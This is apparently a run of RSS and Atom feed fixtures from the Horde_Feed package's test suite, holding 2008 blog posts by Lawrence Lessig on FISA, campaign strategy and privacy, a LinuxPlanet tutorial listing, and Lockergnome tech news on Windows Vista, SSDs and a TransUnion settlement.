      (2) That is false or misleading: It is false. I know it is false because I believe I know the man, and because I know some inside the campaign struggling with these issues. I see them struggling to get it right. They are struggling, in short, to govern. The ones I know at least are not bobbing and weaving for political gain. They're tuning the campaign as governing best requires. The flip on Telco Immunity gave Obama nothing, except the opportunity to do what he believes is right, in light of the compromises in the new bill. He acted to do what he believed was right. So the impression it gives -- of a triangulator, tuning the campaign to the song of the polls -- is misimpression. But that means it fits the definition of self-Swiftboating: The campaign sabotages its strongest characteristic, through steps that are misleading at best.

      The campaign needs to stop this. This is not the time for governing. It is the time for making clear precisely what kind of President Obama will be. But in making that clear, it is critical to keep a focus on how actions are perceived. Will they signal a triangulator? Or will they signal a strong, principled man who stands for what he believes.

      No doubt, compromise is the duty of anyone within government. But in the ADD culture we live in, compromise is poison to anyone trying to do what every politician now tries to do -- appear not to be "a politician." And thus if the oath to represent Illinois is getting in the way of signaling who Obama is, then maybe it is time to step away from being a Senator from Illinois. This is the time to keep the message focused on who (I know) this man is: someone different.

      Hey HQ: You've got a guy who really stands for something (the tall thin guy, the one from Illinois). A man whose word really does matter. You've got to be extraordinarily careful not to give the other side the power to neutralize that.

      ]]>       Gilberto Gil on DemocracyNow (on lots of stuff including Creative Commons) tag:lessig.org,2008:/blog//1.3560 2008-06-25T21:39:26Z 2008-06-25T21:42:40Z A great interview by Democracy Now!'s Amy Goodman of Gilberto Gil. A great interview by Democracy Now!'s Amy Goodman of Gilberto Gil.

      ]]>       my brilliant congresswoman tag:lessig.org,2008:/blog//1.3559 2008-06-25T20:48:34Z 2008-06-25T20:59:38Z So it has been a fantastic week watching my new member of Congress, Jackie Speier, do her work. The first was her strong opposition to local moth spraying. "[T]he USDA has the wrong approach," said Speier. "It's spray and ask questions later, and we can't allow them to do that." Exactly right. Then she voted against the FISA compromise. (You know my view about that.) And now she's joined with a GOP-hero of mine, Jeff Flake (R-AZ), to fight earmarks. Speier: "The biggest surprise since I’ve been here have been earmarks,” Speier said. “I didn’t realize how insidious it was and how deep it ran and how accepting so many people are of it.” Bravo, Congresswoman. So it has been a fantastic week watching my new member of Congress, Jackie Speier, do her work. The first was her strong opposition to local moth spraying. "[T]he USDA has the wrong approach," said Speier. "It's spray and ask questions later, and we can't allow them to do that." Exactly right.

      Then she voted against the FISA compromise. (You know my view about that.)

      And now she's joined with a GOP-hero of mine, Jeff Flake (R-AZ), to fight earmarks. Speier: "The biggest surprise since I’ve been here have been earmarks,” Speier said. “I didn’t realize how insidious it was and how deep it ran and how accepting so many people are of it.”

      Bravo, Congresswoman.

      ]]>       focus tag:lessig.org,2008:/blog//1.3558 2008-06-22T14:12:13Z 2008-06-22T14:38:50Z As with many of my friends, the last couple weeks have brought decisions I would wish went the other way. Whether or not Obama can raise all the money he needs from small contributions, candidates for the House and Senate can't. So I am worried about a decision that makes public funding for them less likely. I understand it. But I worry about it. Likewise, with the FISA compromise. Or at least, likewise in the sense that I don't like the FISA compromise. Or at least, the telco immunity in the FISA compromise. I can't begin to understand why in a war where soldiers go to jail for breaking the law, the US Congress is so keen to make sure telecom companies don't have to fight a law suit about violating civil rights. Obama doesn't support that immunity. He promises to get it removed. But he has signaled agreement with the compromise, which I assume means he will not filibuster immunity as he had indicated before he would. I wish he had decided differently. But the key thing we need to keep in focus is what the objective here is. This is a hugely complex chess game. (Or I'm assuming it's complex, since how else can you explain losing twice (ok once) to this President.) The objective of this chess game is to keep focus on the issues that show America why your candidate should win. Keeping focus (in this media environment, at least) is an insanely difficult task. But one tool in that game is picking the fights that resonate in ways that keep focus on the issues that show America why your candidate should win. That doesn't mean you (as a candidate) should change what you would do as President. Or change what you would fight for. But it does me that we (as strong supporters of a candidate) need to chill out a bit for about five months. We (and I think that means all of us) can't afford to lose this election. When we win, we will have elected a President who will deliver policy initiatives I remain certain will make us proud. If he doesn't, then loud and clear opposition is our duty. But that is then. This is now. And we need to remember now: you don't sacrifice a pawn because you want to kill pawns. As with many of my friends, the last couple weeks have brought decisions I would wish went the other way. Whether or not Obama can raise all the money he needs from small contributions, candidates for the House and Senate can't. So I am worried about a decision that makes public funding for them less likely. I understand it. But I worry about it. Likewise, with the FISA compromise. Or at least, likewise in the sense that I don't like the FISA compromise. Or at least, the telco immunity in the FISA compromise. I can't begin to understand why in a war where soldiers go to jail for breaking the law, the US Congress is so keen to make sure telecom companies don't have to fight a law suit about violating civil rights. Obama doesn't support that immunity. He promises to get it removed. But he has signaled agreement with the compromise, which I assume means he will not filibuster immunity as he had indicated before he would. I wish he had decided differently.

      But the key thing we need to keep in focus is what the objective here is. This is a hugely complex chess game. (Or I'm assuming it's complex, since how else can you explain losing twice (ok once) to this President.) The objective of this chess game is to keep focus on the issues that show America why your candidate should win. Keeping focus (in this media environment, at least) is an insanely difficult task. But one tool in that game is picking the fights that resonate in ways that keep focus on the issues that show America why your candidate should win.

      That doesn't mean you (as a candidate) should change what you would do as President. Or change what you would fight for. But it does me that we (as strong supporters of a candidate) need to chill out a bit for about five months.

      We (and I think that means all of us) can't afford to lose this election. When we win, we will have elected a President who will deliver policy initiatives I remain certain will make us proud. If he doesn't, then loud and clear opposition is our duty.

      But that is then. This is now. And we need to remember now: you don't sacrifice a pawn because you want to kill pawns.

      ]]>       JZ on Colbert tonight tag:lessig.org,2008:/blog//1.3557 2008-06-17T23:56:28Z 2008-06-19T21:22:54Z Zittrain was on The Colbert Report.

      Zittrain was on The Colbert Report.

      ]]>       On privacy in the cyberage (II) tag:lessig.org,2008:/blog//1.3555 2008-06-14T13:42:14Z 2008-06-14T14:15:27Z I've gotten lots of email and comments about my criticism of privacy-revealing behavior related to Chief Judge Kozinski. After reading that criticism, I am more convinced. Privacy is not determined by technology: The core point that's important to me here is to reject the sense many have that "privacy" is that stuff you can't get access to technically. So something's private if encrypted, but if there's a way for me to hack into it, it is public. I reject that sense of the norm of privacy. Think of a party line telephone. Anyone on the party line had a simple ability to pick up the telephone and listen to any conversation going on. But if you did that, others would rightly call you a louse. You had invaded the privacy of the people having a telephone call, even though it was technically trivial to listen to that private conversation. This FTP server was improperly configured (given its use): Though you could access this (or practically any) FTP site through the web, this was not a web site. It was a file server. Just like the server that contains the files for this blog, that means it enables people to get access to files. But it also enables the maintainer to control who gets access to what files. So with this blog, if you download a file I've linked from the blog, you can easily figure out what directory that file is located in. But you can't (without serious hacking) see the other files in that directory, or see the directory structure. That's because those friends who have helped me set this up have disabled that ability. Yale Kozinski apparently didn't with the Kozinski server. So again, as with the party line, it was trivial to see all the files in any particular directory, or the directory structure. But that doesn't make peddling the list of stuff kept on the server to news organizations not a violation of privacy. Metaphors are metaphors.: My original metaphor here was about someone jiggering a lock and breaking in. That was a metaphor. As with any metaphor, there are an infinite number of ways the metaphor is like the particular example, and an infinite number of ways it is unlike the particular example. The parts I found analogous were these: like someone breaking in, the litigant went where he wasn't invited; like someone breaking in, the litigant found stuff in a place anyone could have placed it; like the den where anyone could place stuff, you can't know who is responsible for whatever is there; like the den in a private house, privacy means not having to defend or explain what is in your den. As I explained in the comments, I didn't mean the metaphor to suggest the litigant was a criminal for trespassing. As many of you know, I am not a believer in the trespass theory of cyberspace. But just because you're not a criminal doesn't mean you're not a chump. "Hacker": I called the litigant a "hacker." That was the nicest thing I said about him. I do not subscribe to the view that "hacker" predicates only of criminals. RMS is famous for his greeting "Happy hacking." It means nothing more than someone who explores. But again, that it is a good thing to explore does not mean it is a good thing to wander into someone's den. The irrelevance of the MP3s.: Some suggest my view would have been different had I known the judge had MP3s on his site. Those sorts are wrong. Indeed, I did know he had a few MP3s on his site -- the first reporter calling me about this told me that. That fact does not change anything in the analysis. As the Fed Circuit has indicated in an unrelated case, an unindexed FTP site is not a "public" site. The fact that you have copyrighted MP3s on a nonprivate site does not make you a copyright infringer. Kozinski was not offering this content to the world. The fact that some Russian MP3 sites found it doesn't change Kozinski's responsibility. Obviously while I don't support the practice of wrongful distribution of copyrighted material, I certainly do believe people have the right to space-shift their material, and even share it with a friend ("Hey, listen to this...") That's all that's happening here. Your privacy should not depend upon your political party.: This also disappoints me here -- the schadenfreude. Here's a Republican judge getting in trouble for racy content with questionable copyright status. So we (or some of us) liberals get all outraged and angry at his bad behavior. But had the politics been different, would the reaction have been the same? Privacy, in my view, is more important than this. A Republican judge deserves his privacy as much as the rest of us. I'll add to this as I think of it. Now I'm late to taking my kid to see Alcatraz. I've gotten lots of email and comments about my criticism of privacy-revealing behavior related to Chief Judge Kozinski. After reading that criticism, I am more convinced.

      1. Privacy is not determined by technology: The core point that's important to me here is to reject the sense many have that "privacy" is that stuff you can't get access to technically. So something's private if encrypted, but if there's a way for me to hack into it, it is public. I reject that sense of the norm of privacy. Think of a party line telephone. Anyone on the party line had a simple ability to pick up the telephone and listen to any conversation going on. But if you did that, others would rightly call you a louse. You had invaded the privacy of the people having a telephone call, even though it was technically trivial to listen to that private conversation.
      2. This FTP server was improperly configured (given its use): Though you could access this (or practically any) FTP site through the web, this was not a web site. It was a file server. Just like the server that contains the files for this blog, that means it enables people to get access to files. But it also enables the maintainer to control who gets access to what files. So with this blog, if you download a file I've linked from the blog, you can easily figure out what directory that file is located in. But you can't (without serious hacking) see the other files in that directory, or see the directory structure. That's because those friends who have helped me set this up have disabled that ability. Yale Kozinski apparently didn't with the Kozinski server. So again, as with the party line, it was trivial to see all the files in any particular directory, or the directory structure. But that doesn't make peddling the list of stuff kept on the server to news organizations not a violation of privacy.
      3. Metaphors are metaphors.: My original metaphor here was about someone jiggering a lock and breaking in. That was a metaphor. As with any metaphor, there are an infinite number of ways the metaphor is like the particular example, and an infinite number of ways it is unlike the particular example. The parts I found analogous were these: like someone breaking in, the litigant went where he wasn't invited; like someone breaking in, the litigant found stuff in a place anyone could have placed it; like the den where anyone could place stuff, you can't know who is responsible for whatever is there; like the den in a private house, privacy means not having to defend or explain what is in your den. As I explained in the comments, I didn't mean the metaphor to suggest the litigant was a criminal for trespassing. As many of you know, I am not a believer in the trespass theory of cyberspace. But just because you're not a criminal doesn't mean you're not a chump.
      4. "Hacker": I called the litigant a "hacker." That was the nicest thing I said about him. I do not subscribe to the view that "hacker" predicates only of criminals. RMS is famous for his greeting "Happy hacking." It means nothing more than someone who explores. But again, that it is a good thing to explore does not mean it is a good thing to wander into someone's den.
      5. The irrelevance of the MP3s.: Some suggest my view would have been different had I known the judge had MP3s on his site. Those sorts are wrong. Indeed, I did know he had a few MP3s on his site -- the first reporter calling me about this told me that. That fact does not change anything in the analysis. As the Fed Circuit has indicated in an unrelated case, an unindexed FTP site is not a "public" site. The fact that you have copyrighted MP3s on a nonprivate site does not make you a copyright infringer. Kozinski was not offering this content to the world. The fact that some Russian MP3 sites found it doesn't change Kozinski's responsibility. Obviously while I don't support the practice of wrongful distribution of copyrighted material, I certainly do believe people have the right to space-shift their material, and even share it with a friend ("Hey, listen to this...") That's all that's happening here.
      6. Your privacy should not depend upon your political party.: This also disappoints me here -- the schadenfreude. Here's a Republican judge getting in trouble for racy content with questionable copyright status. So we (or some of us) liberals get all outraged and angry at his bad behavior. But had the politics been different, would the reaction have been the same? Privacy, in my view, is more important than this. A Republican judge deserves his privacy as much as the rest of us.

      I'll add to this as I think of it. Now I'm late to taking my kid to see Alcatraz.

      ]]>       nextgen netroots technology tag:lessig.org,2008:/blog//1.3554 2008-06-13T23:32:22Z 2008-06-14T04:07:38Z So we've made some significant progress at Change Congress on the funding front. Joe Trippi and I are now in a position to staff the organization properly. We're now looking for the key next generation netroots organizer -- a kid who expects to be running net operations for a Presidential campaign in 2012. If you're that kid, let them know at Change Congress. We need you soon. Update: Some wonder whether by "kid" I mean we're hiring just an intern or something like that. Not at all. I mean simply that the very best in this business is likely to come from a kid. But being an old guy myself, I'm happy to be proven wrong... So we've made some significant progress at Change Congress on the funding front. Joe Trippi and I are now in a position to staff the organization properly. We're now looking for the key next generation netroots organizer -- a kid who expects to be running net operations for a Presidential campaign in 2012. If you're that kid, let them know at Change Congress. We need you soon.

      Update: Some wonder whether by "kid" I mean we're hiring just an intern or something like that. Not at all. I mean simply that the very best in this business is likely to come from a kid. But being an old guy myself, I'm happy to be proven wrong...

      ]]>       Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.linuxplanet.com-rss-0000664000175000017500000001303112653701626025535 0ustar janjan LinuxPlanet LinuxPlanet -- a world of premium information for Linux newcomers! We welcome people jumping from Windows and other Operating Systems to the latest sensation based on the Open Source software model. http://www.linuxplanet.com/linuxplanet/ en-us A Beginners Guide to the Linux Operating System http://www.linuxplanet.com/graphics/minilp.jpg http://www.linuxplanet.com/linuxplanet/ 144 31 A world of information for Linux newcomers. News, Tutorials, Reviews and more Review: Asus Eee PC 1000 Plus Ubuntu: Big Power in a Small Package http://www.linuxplanet.com/linuxplanet/reviews/6536/1/ Paul Ferrill takes a look at the new, more powerful Asus EeePC 1000 from ZaReason, customized with Ubuntu Hardy Heron. Do a beefier CPU, more RAM, and goodies like a Webcam, Bluetooth,and a larger solid-state hard disk play well with Ubuntu? Tutorial: Supercharge Your LAN With Condor, part 1 http://www.linuxplanet.com/linuxplanet/tutorials/6535/1/ Juliet Kemp shows how you don't need a dedicated computing cluster to perform big processing jobs- you can turn your LAN into a part-time cluster with Condor, which intelligently uses idle CPU cycles for powerful parallel processing. Tutorial: Networking 101: Understanding TCP, the Protocol http://www.linuxplanet.com/linuxplanet/tutorials/6534/1/ Our replay of Charlie Schluting's excellent Networking 101 series continues with a two-part dissection of TCP. Understanding the ubiquitous TCP is key to troubleshooting networking communications. Opinion: The Road to Geekdom http://www.linuxplanet.com/linuxplanet/opinions/6533/1/ Don't get into IT because you want an air-conditioned office. Get into it because it's your passion. Not sure it's your passion? There are a lot of free tools that'll help you explore. Tutorial: OpenOffice.org Tips and Tricks: Customization, PDFs, and Smart Image Management http://www.linuxplanet.com/linuxplanet/tutorials/6532/1/ Eric Geier is back with more tips and tricks on transitioning to OpenOffice.org (OOo). This tutorial continues by highlighting OOo Options you may want to change, discusses the PDF exporting feature, and shows how to overcome two vexing issues you may encounter when working with images. Tutorial: Networking 101: Understanding the Internet Protocol http://www.linuxplanet.com/linuxplanet/tutorials/6531/1/ Welcome back! Charlie Schluting, in this edition of Networking 101, will give you the IP knowledge required to understand routing issues. Most everything on the Internet uses IP, and unlike Ethernet, knowing this protocol is pivotal to understanding how networking works with regards to the big picture. In upcoming articles, Networking 101 will explore TCP and UDP, routing theories, and then delve into the specific routing protocols. It's going to be a wild ride. Review: Viewing the Night Sky with Linux, Part II: Visit the Planets With XEphem http://www.linuxplanet.com/linuxplanet/reviews/6530/1/ In part two of this series, Akkana Peck takes us on a solar system tour via XEphem. We'll visit the Moon, Jupiter, Saturn, and learn how to get detailed information on thousands of far-away objects, and travel in time, both past and future. Tutorial: Set Up Basic Groupware With Citadel http://www.linuxplanet.com/linuxplanet/tutorials/6529/1/ Citadel provides plenty of groupware functionality in a scalable, easy-to-deploy package. This week, learn how to manage users, set up an e-mail server and provide RSS feeds. Review: Citadel: A Bastion of Groupware Functionality http://www.linuxplanet.com/linuxplanet/reviews/6528/1/ Citadel is 100% GPL, and doesn't play games with making either binary or source downloads easily available. If I had to describe Citadel in a word, it would be "simplicity". It is a complex application with a lot of power and flexibility, but it's easy to install and administer. Tutorial: Linux Wi-Fi Works With wicd http://www.linuxplanet.com/linuxplanet/tutorials/6527/1/ Wireless management on Linux is a bit of a hodge-podge, especially for roaming users. NetworkManager, KWifiManager, and various other utilities that have come and gone all attempt to make managing different network connections easy. wicd (pronounced "wicked"), the wireless interface connection daemon, tries to do the job better, so we're going to give it a test drive. Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.lockergnome.com-lockergnome.xml0000664000175000017500000040667612653701626027744 0ustar janjan Lockergnome http://www.lockergnome.com To inform, empower, and entertain - Lockergnome is a blogging network for people who are curious about the world around them. Join us and start sharing your knowledge today! Tue, 22 Jul 2008 08:02:39 -0400 en WeatherBug API Winners Announced http://www.lockergnome.com/insideweatherbug/2008/07/22/weatherbug-api-winners-announced/ http://www.lockergnome.com/insideweatherbug/2008/07/22/weatherbug-api-winners-announced/#comments Tue, 22 Jul 2008 08:02:39 -0400 http://www.lockergnome.com/insideweatherbug/2008/07/22/weatherbug-api-winners-announced/ Author AvatarThe WeatherBug API contest has been a tremendous success. We had so many entries submitted that even after we have reviewed and judged each of them, I am still working to get each of them posted here at Inside WeatherBug. Having said this, if you find that you did not win this time around, you can rest assure that your work will be receiving press here at Lockergnome as I continue to post each and every API contest entry to this blog.

      And the winners are...

      ???Best Overall Presentation: A WeatherBug Eclipse Plugin by Aldo Bongio http://abso.freehostia.com/ -Now developer's can code while keeping track of the weather in the same interface. -Developer's description: "A plug-in able to access and display live weather and forecast information, powered by WeatherBug API, from within the Eclipse IDE environment. More specifically, the work is divided into 2 plug-ins: the first one, independent from the Eclipse API, is a pure Java wrapper around the WeatherBug XML APIs; the second one is composed by a pair of Eclipse UI views able to display live weather and forecasts information using the above mentioned Java APIs." Best Concept: WeatherCurve by Alan Herod http://weathercurve.appjet.net -Track weather conditions on your travel route. -Developer's description: "Before you head out on your next road trip, go to WeatherCurve. Enter your origin and destination. Google Maps provides the route and directions, while WeatherBug provides the current weather conditions along the route. Also, a graph of current temperatures along the route is displayed." Best Real World Application: Intherma by Sam Boutros http://inthrma.com/proliphix/ - Control specific household thermostats via your mobile phone - wirelessly. Simultaneously track the temperature in your home and outdoor weather conditions. Track results in a graph format. Best Lifestyle Application: Major League Baseball Widget by Jim England http://jimenglandweb.com/projects/mlbweather/index.php -Track weather conditions for actual game times at your favorite stadium. Available as both a web widget and from Jim's own website. All participants who submitted an API entry will receive a WeatherBug and hat for their efforts.?? Again, thanks to everyone who entered, I was truly impressed with each entry.

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      ]]>             Sandisk Says Vista Not Optimized For SSD http://www.lockergnome.com/blade/2008/07/22/sandisk-says-vista-not-optimized-for-ssd/ http://www.lockergnome.com/blade/2008/07/22/sandisk-says-vista-not-optimized-for-ssd/#comments Tue, 22 Jul 2008 06:34:30 -0400 http://www.lockergnome.com/blade/2008/07/22/sandisk-says-vista-not-optimized-for-ssd/ Author AvatarSandisk has made a stunning announcement that Microsoft's flagship operating system is not currently optimized for SSD [Solid State Drives], which are currently being used in Apple's Air computer and also on some models from Toshiba. In an article from C/Net the CEO of Sandisk has stated:
      Speaking during SanDisk's second-quarter earnings conference call, Chairman and Chief Executive Officer Eli Harari said that Windows Vista will present a special challenge for solid state drive makers. "As soon as you get into Vista applications in notebook and desktop, you start running into very demanding applications because Vista is not optimized for flash memory solid state disk," he said. This is due to Vista's design. "The next generation controllers need to basically compensate for Vista shortfalls," he said. "Unfortunately, (SSDs) performance in the Vista environment falls short of what the market really needs and that is why we need to develop the next generation, which we'll start sampling end of this year, early next year," Harari said.
      I went to the Sandisk web site and found this press release which seems to indicate that the new Netbooks, using Microsoft's Windows XP, seem to work just fine.
      A pioneer in developing SSDs for laptop computers, tablet PCs and blade servers, SanDisk is making the new SSD modules available in 4-, 8- and 16-gigabyte (GB)1 capacities, with a streaming read speed of 39 megabytes per second (MB/s)2 and a streaming write performance of 17MB/s.2 Supporting both Linux and Microsoft?? Windows?? XP operating systems, SanDisk pSSD solid state drives are being shown this week at Computex Taipei, where SanDisk is exhibiting at Booth M320 in Nangang Exhibition Hall. SanDisk???s pSSD solid state drives, which are expected to be available starting in August, are built using the company???s reliable Multi-Level Cell (MLC) and Single-Level Cell (SLC) flash memory. This technology is produced at fabrication plants in Yokkaichi, Japan, where SanDisk and its partner, Toshiba Corporation, share the output. The two companies have co-developed many of the designs and technologies in NAND flash. ULCPCs are inexpensive handheld laptops ??? smaller than a conventional notebook computer but larger than a mobile ???smart??? phone ??? that are easy to carry and cost in the range of $250 to $350. They enable consumers to browse the Internet on the go, with a user interface that replicates that of larger PCs. Originally, ULCPCs were developed as low-cost computing solutions for school children in developing nations. But the diminutive devices have caught on with adults, and now manufacturers are rolling out devices that are designed for general consumer use.??Other names for these include Ultra-Mobile PC (UMPC) and Mobile Internet Device (MID).
      This one statement 'Supporting both Linux and Microsoft?? Windows?? XP operating systems' says it all and confirms why Microsoft has had to continue using Windows XP for these devices. It was first hinted that Vista, because of its high hardware and resource issues, was the main reason that Netbooks were not using Vista. Now it appears there were also other issues behind the decision to go with XP. Which makes one wonder. With these new Netwooks hitting the street in August, which will come with either Linux or Windows XP, how long will Microsoft need to keep supporting XP? It would appear if these new computers sell in the millions of unit as is suspected, that Windows XP may have a long, long life span. :-) Comments welcome. Comments welcome. Source. Sandisk

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      ]]>             Microsoft Says Vista Is Fixed - Spends $300 M To Convince Us http://www.lockergnome.com/blade/2008/07/22/microsoft-says-vista-is-fixed-spends-300-m-to-convince-us/ http://www.lockergnome.com/blade/2008/07/22/microsoft-says-vista-is-fixed-spends-300-m-to-convince-us/#comments Tue, 22 Jul 2008 05:40:57 -0400 http://www.lockergnome.com/blade/2008/07/22/microsoft-says-vista-is-fixed-spends-300-m-to-convince-us/ Author AvatarMicrosoft has another strategy to convince the public that Vista is now fixed and they want you to 'look how far we've come' campaign. Microsoft is going to try and convince the masses that Vista is great and better than the reputation that continues to haunt the operating system. Which may take some doing. On their website they state:

      Windows Vista: Look how far we've come

      When Windows Vista debuted in January 2007, we declared it the best operating system we had ever made. "Windows Vista is beautiful," The New York Times raved. It's humbling that millions of you agree.

      But we know a few of you were disappointed by your early encounter. Printers didn't work. Games felt sluggish. You told us???loudly at times???that the latest Windows wasn't always living up to your high expectations for a Microsoft product.

      Well, we've been taking notes and addressing issues.

      So as we prepare to stop selling Windows XP on June 30, it felt like the right time to update you on our progress, highlighted by the recent release of Windows Vista Service Pack 1 (SP1).

      While we're at it, we'd like to clear up some confusion and lingering misunderstandings about Windows Vista???and our plans for its predecessor, Windows XP.

      Microsoft also has a 100 reasons why section that makes for interesting reading:

      1. Windows Vista makes using your PC a breeze

      Windows Vista features a breakthrough design and easy-to-use organizational tools that make it simpler to get things done and get on with life! Find what you need instantly, on your PC or on the web, with Instant Search. Bring more clarity to your tasks with the spectacular Windows Aero user experience and Windows Flip 3D,A allowing you to see everything you're working on at a glance.

      Plus 99 more. But what is confusing is this. If Microsoft has really sold 180 million copies of Vista, why the panic mode? Now that XP is no longer being offered on new computers, won't this automatically force everyone into using Vista? Naturally we consumers look a Vista differently than do businesses. It appears it is the businesses that are reluctant to switch. That's where the money is. :-) What do you think? Comments as always are welcome. Source. Microsoft Site

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      ]]>             If You Have A Credit Card Read This http://www.lockergnome.com/blade/2008/07/22/if-you-have-a-credit-card-read-this/ http://www.lockergnome.com/blade/2008/07/22/if-you-have-a-credit-card-read-this/#comments Tue, 22 Jul 2008 05:10:37 -0400 http://www.lockergnome.com/blade/2008/07/22/if-you-have-a-credit-card-read-this/ Author AvatarIt seems that Trans Union, which is one of the folks who monitor our credit, may have been selling our information to outside agencies. So if you fall into one of these categories, and most of us do, you may entitled to compensation:
      The Court decided that the Class includes all consumers who had an open credit account or an open line of credit from a credit grantor (including, for instance automobile loans, bank credit cards, department store credit cards, other retail store credit cards, finance company loans, mortgage loans, and student loans) located in the United States anytime from January 1, 1987 to May 28, 2008.
      You may entitled to receive one of the following:
      The settlement will: (1) establish a $75 million Settlement Fund; (2) give Class members the option of selecting six or nine months of credit monitoring services; (3) donate $150,000 to non-profit organizations; (4) pay for settlements or judgments for damage claims related to lawsuits brought individually by Class members against the Defendants; (5) pay class counsels??? attorneys??? fees and their expenses; (6) pay the costs of notice and administering the settlement; and (7) distribute any money remaining (after deducting the costs for everything listed above) in the Settlement Fund to Class members who register for a payment or to non-profit organizations.
      The six months of credit monitoring services (which retails for $59.75) include: (1) the ability to lock your credit report so third parties, such as lenders or other companies, will not be able to access your credit report without your consent (unless allowed by law); (2) unlimited daily access to your Trans Union credit report and credit score; and (3) credit monitoring with a 24-hour email credit notificationservice. The nine months of enhanced credit monitoring services (which retails for $115.50) includes all the services listed above, plus a suite of insurance scores and a mortgage simulator service. If you get the enhanced credit monitoring you will not be able to get a payment from the settlement or start an individual lawsuit.
      Other options are also available. Take a look at the web site which has all of the options as well as a form you must complete. Source.

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      ]]>             Remember the Milk (BETA) http://www.lockergnome.com/cellphones/2008/07/22/remember-the-milk-beta/ http://www.lockergnome.com/cellphones/2008/07/22/remember-the-milk-beta/#comments Tue, 22 Jul 2008 05:08:24 -0400 http://www.lockergnome.com/cellphones/2008/07/22/remember-the-milk-beta/ Author Avatarlogo Are you a list maker??? Then you'll love this program by Firefox.?? Remember The Milk is a program that helps you manage your to do lists.?? Sign up for a free account.?? A few of the things you can do with it are: Manage tasks quickly and easily. An intuitive interface makes managing tasks fun. Set due dates easily with next Friday or in 2 weeks. Extensive keyboard shortcuts make task management quicker than ever. Get reminded, anywhere. Receive reminders via email, SMS, and instant messenger (AIM, Gadu-Gadu, Google Talk, ICQ, Jabber, MSN, Skype and Yahoo! are all supported). Organize the way you want to. Are you a list lover? Create as many lists as you need. Into tagging? Use the task cloud to easily see what you have to do. Want to store notes along with your tasks? You can do that too. Locate your tasks. Use the map to see where your tasks are located in the real world. See what's nearby or on your way, and plan the best way to get things done. Work together to get things done. Share, send and publish tasks and lists with your contacts or the world. Remind your significant other to do their household chores. Add tasks wherever you are. Adding tasks is as simple as firing off an email (even from your phone). See an important date on the web? Add it to your list with Quick Add. Take your tasks with you. Access your tasks on your web-enabled mobile device. Print your entire list or a handy weekly planner which shows upcoming tasks. View your tasks on your calendar with Apple iCal or Google Calendar. Subscribe to feeds with Atom/RSS. Plan your time. See what's due today and tomorrow, and the things you've missed. Prioritize, estimate your time, and postpone with ease. Set tasks to repeat every week or after 2 months. Search your tasks the smart way. Find the tasks you want with advanced searching. Save your searches as Smart Lists, and easily see tasks that match your desired criteria. Enjoy getting organized. The helpful 'undo' feature means you never need to worry about making a mistake. So signup, start playing, and discover Remember The Milk.

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      ]]>             A Few Useful Sites http://www.lockergnome.com/lumpy/2008/07/22/a-few-useful-sites/ http://www.lockergnome.com/lumpy/2008/07/22/a-few-useful-sites/#comments Tue, 22 Jul 2008 03:51:22 -0400 http://www.lockergnome.com/lumpy/2008/07/22/a-few-useful-sites/ Author Avatar

      One of the Web 2.0 thingies that I am interested in is KM (Knowledge Management). In this day and age, one needs at least some type of PKM (Personal Knowledge Management). Bill Ives over at Portal and KM often blogs on this topic. In his latest post he mentions they closed the event with a nice list of links.

      You can grab the power point presentation over at the link Mr. Ives mentions. Here are just a few of the 20:

      I am not going to give the whole list or comment much on this. I just think most of the links are great. You have 18 more to look over and decide for yourself. (You also have two more good feeds to subscribe to if you wish.) Thanks for Reading.

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      ]]>             Why Was It Removed? http://www.lockergnome.com/it/2008/07/22/why-was-it-removed/ http://www.lockergnome.com/it/2008/07/22/why-was-it-removed/#comments Tue, 22 Jul 2008 00:05:32 -0400 http://www.lockergnome.com/it/2008/07/21/why-was-it-removed/ Author AvatarAs I was combing over this today, I could not help but wonder why some of the items were removed at all? Take DXDiag for instance. This is a tool that nearly every gamer out there is aware of and has likely used to diagnose issues with DirectX. Why was it cut - get this, it is not "cross platform friendly". Yup, however according to this, cross platform with regard to Microsoft's gaming platforms - Xbox and Windows.

      So by this logic, because it will not work on Xbox...then it must be eliminated from Windows! Wait, huh?

      2) APIs that are eliminated because no cross-platform counterpart exists

      ??DxDiag gets cut.?? There is no real equivalent on Xbox 360 today.?? MDX1.1 will continue to support a managed wrapper for DxDiag.?? Do you have any concerns here??? If so, let us know.

      Yeah, I have "a concern".I think I speak for a number of Windows users who might object to having their DirectX diagnostic ability being neutered. But that is just me.

      Then there is one that I do understand it being phased out, yet had to DIG for its suggested replacement? SerialKeys. Yes, for those who need extra accessibility features with their Windows desktop, SerialKeys was a valued option and having it installed was a major boon to the platform. Unfortunately this is no longer the case. And as surprising as this may seem, I have no problem with this per se. I just wish the replacements: SKEYS and AAC Keys were more readily suggested for new Vista users. Seriously!

      On the plus side, despite some people finding it to be annoying, Vista is inherently more secure than previous releases of Windows. And eliminating some of those dated little extras might very well spell less future exploits in the future? I am speculating, but it sure sounds plausible at least...

      What say you? Are there any features you had with XP that you are finding lacking in Vista? Perhaps something was added with Vista that was lacking in XP? Whatever it may be, hit the comments and tell me about it.

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      ]]>             Troubleshooting User Network Performance Issues With SolarWinds http://www.lockergnome.com/it/2008/07/22/troubleshooting-user-network-performance-issues-with-solarwinds/ http://www.lockergnome.com/it/2008/07/22/troubleshooting-user-network-performance-issues-with-solarwinds/#comments Tue, 22 Jul 2008 00:03:12 -0400 http://www.lockergnome.com/it/2008/07/21/troubleshooting-user-network-performance-issues-with-solarwinds/ Author Avatar[kml_flashembed movie=" http://www.youtube.com/v/zVjuRBL9s9Q" width="350" height="288" wmode="transparent" /] Add to iTunes | Add to YouTube | Add to Google | RSS Feed

      We all have networks of some kind. No matter whether you have two computers or 2000 on your network, you’ll need tools to manage it. This is why I love talking to Josh Stephens from SolarWinds. In the recent past, Josh and I got together to discuss Exchange Monitor. Today, we talked specifically about troubleshooting user performance on a network. I wanted to get his take on this, as I know it’s something he deals with on a daily basis.

      According to Josh, networks today are more complex than they used to be. We’re using them for far more than we have in the past, and many of the things are bandwidth intensive. When he has to start narrowing down a problem, the first three rules of troubleshooting a network is check the cable, check the cable, check the cable. It sounds silly, but it happens much more often than you would think.

      I asked Josh if turning on wireless actually impede the wired connections between computers on the network. Josh indicated that you can use some of the tools from SolarWinds to measure performance of your network both before and after you make any changes. If you’re having trouble with performance and you have wireless… check first to make sure if there’s a firmware update available for your access point. That can make a tremendous difference. There are many little things that could cause you to have issues with a wireless network, so using tools like SolarWinds has available can certainly help diagnose and manage it.

